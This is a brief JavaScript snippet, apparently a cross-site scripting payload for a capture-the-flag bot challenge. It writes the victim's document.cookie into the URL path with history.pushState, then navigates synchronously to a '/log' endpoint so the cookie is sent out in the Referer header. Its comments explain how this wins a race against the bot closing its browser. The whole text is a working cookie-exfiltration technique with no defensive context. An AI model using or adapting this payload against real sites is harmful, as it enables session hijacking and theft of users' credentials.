// 1. Craft a new path using the cookie.
const newPath = '/' + encodeURIComponent(document.cookie);
// 2. Use pushState to change the URL without reloading.
window.history.pushState(null, '', newPath);
// 3. Force a synchronous navigation to your /log endpoint.
// This is not asynchronous like fetch(), so it will not lose the race
// against the bot closing the browser. The Referer header will be sent.
location.href = '/log';